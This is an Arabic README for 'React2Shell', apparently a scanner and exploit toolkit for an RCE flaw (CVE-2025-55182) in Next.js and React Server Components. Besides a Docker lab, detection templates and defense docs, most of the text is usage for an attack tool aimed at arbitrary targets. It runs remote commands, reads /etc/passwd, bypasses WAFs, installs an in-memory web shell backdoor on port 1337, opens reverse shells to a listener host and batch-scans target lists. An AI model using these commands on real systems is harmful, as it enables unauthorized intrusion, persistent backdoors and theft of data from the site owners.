ماسح ضوئي ومجموعة أدوات استغلال CVE-2025-55182 لـ Next.js/React Server Components RCE.
React2Shell/
├── browser-extension/ # إضافة كروم للكشف عبر المتصفح
│ ├── manifest.json
│ ├── content.js
│ ├── popup.html/js
│ └── background.js
├── cli/ # أداة سطر الأوامر للمسح والاستغلال
│ ├── react2shell.py
│ └── requirements.txt
├── docs/ # وثائق تعليمية
│ ├── README.md # فهرس مسار التعلم
│ ├── 01-fundamentals.md
│ ├── 02-vulnerability.md
│ ├── 03-exploitation.md
│ ├── 04-frameworks.md
│ └── 05-defense.md
├── lab/ # بيئة مختبر Docker للاختبار
│ ├── vulnerable/ # تطبيق Next.js القابل للاستغلال (React 19.2.0)
│ ├── patched/ # تطبيق Next.js المُصحح (React 19.2.1)
│ ├── waf/ # حاوية ModSecurity WAF
│ ├── waku-app/ # تطبيق Waku القابل للاستغلال (React 19.2.0)
│ ├── react-router-app/ # تطبيق React Router القابل للاستغلال (React 19.2.0)
│ └── docker-compose.yml
└── nuclei/ # قوالب Nuclei
├── CVE-2025-55182.yaml # كشف RCE (تنفيذ أوامر)
└── CVE-2025-55182-safe.yaml # كشف آمن عبر القناة الجانبية
cd lab
docker-compose up -d
# الأهداف القابلة للاستغلال:
# Next.js القابل للاستغلال: http://localhost:3011 ← RCE كامل
# Waku القابل للاستغلال: http://localhost:3014 ← RCE (أعمى - بلا إخراج HTTP)
# React Router: http://localhost:3015 ← RCE كامل (ESM)
# الأهداف المحمية:
# Next.js المصحح: http://localhost:3012 ← آمن
# محمي بـ WAF: http://localhost:3013 ← ModSecurity يمنع الاستغلال
# مسح أساسي (كشف تلقائي للإطار)
python react2shell.py https://target.com
# كشف الإطار وتعداد النقاط الطرفية
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v
# تنفيذ أمر على أطر مختلفة
python react2shell.py https://target.com -c "id" # Next.js (تلقائي)
python react2shell.py https://target.com -F waku -c "id" # Waku (RCE أعمى)
python react2shell.py https://target.com -F react-router -c "id" # React Router (ESM)
# أمثلة مختبر مع إخراج
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt" # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id" # React Router
# تنفيذ أمر مع جميع وسائل تجاوز WAF
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u
# شل تفاعلي عبر وكيل
python react2shell.py https://target.com -i -x http://127.0.0.1:8080
# تثبيت شل ويب في الذاكرة (إنشاء باب خلفي على المنفذ 1337)
python react2shell.py https://target.com --webshell mypassword
# الوصول: curl 'http://target:1337/?p=mypassword&cmd=id'
# شل عكسي
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash
# مسح مشروع محلي للإصدارات القابلة للاستغلال
python react2shell.py -L /path/to/project
# مسح دفعة مع إخراج
python react2shell.py targets.txt -t 20 -o results.json -v
خيارات التنفيذ:
-c, --cmd أمر للتنفيذ
-i, --interactive جلسة شل تفاعلية
-r, --reverse وضع الشل العكسي
-l, --lhost مضيف المستمع
-p, --lport منفذ المستمع
-S, --shell-type نوع الشل (nc, nc-mkfifo, bash, perl, python, ruby)
-f, --read-file قراءة ملف بعيد
خيارات المسح:
-P, --path مسارات للاختبار (مفصولة بفاصلة أو ملف)
-t, --threads عدد الخيوط (الافتراضي: 10)
-T, --timeout مهلة الطلب بالثواني (الافتراضي: 10)
-s, --safe الوضع الآمن (لا تنفيذ أوامر)
-L, --local مسح دليل مشروع محلي
-F, --framework الإطار المستهدف (auto, nextjs, waku, react-router, expo)
-E, --enumerate تعداد نقاط RSC قبل الاستغلال
--detect كشف الإطار فقط وسرد النقاط
--webshell تثبيت شل ويب في الذاكرة على المنفذ 1337
--rce وضع إثبات المفهوم RCE (الافتراضي: الوضع الآمن)
خيارات التجاوز:
-w, --waf-bypass حشو بيانات غير مفيدة
-W, --waf-size حجم الحشو بالكيلوبايت (الافتراضي: 128)
-u, --unicode تجاوز عبر ترميز Unicode
-V, --vercel-bypass تجاوز خاص بـ Vercel
--windows حمولات PowerShell لنظام Windows
خيارات الطلب:
-x, --proxy عنوان الوكيل (مثل http://127.0.0.1:8080)
-H, --header رؤوس مخصصة
-A, --user-agent وكيل مستخدم مخصص
-k, --insecure تعطيل التحقق من SSL
خيارات الإخراج:
-o, --output حفظ النتائج بصيغة JSON
-v, --verbose إخراج مفصل مع كشف الإصدار
-q, --quiet إظهار الأهداف القابلة للاستغلال فقط
--no-color تعطيل الألوان
--no-banner إخفاء الشعار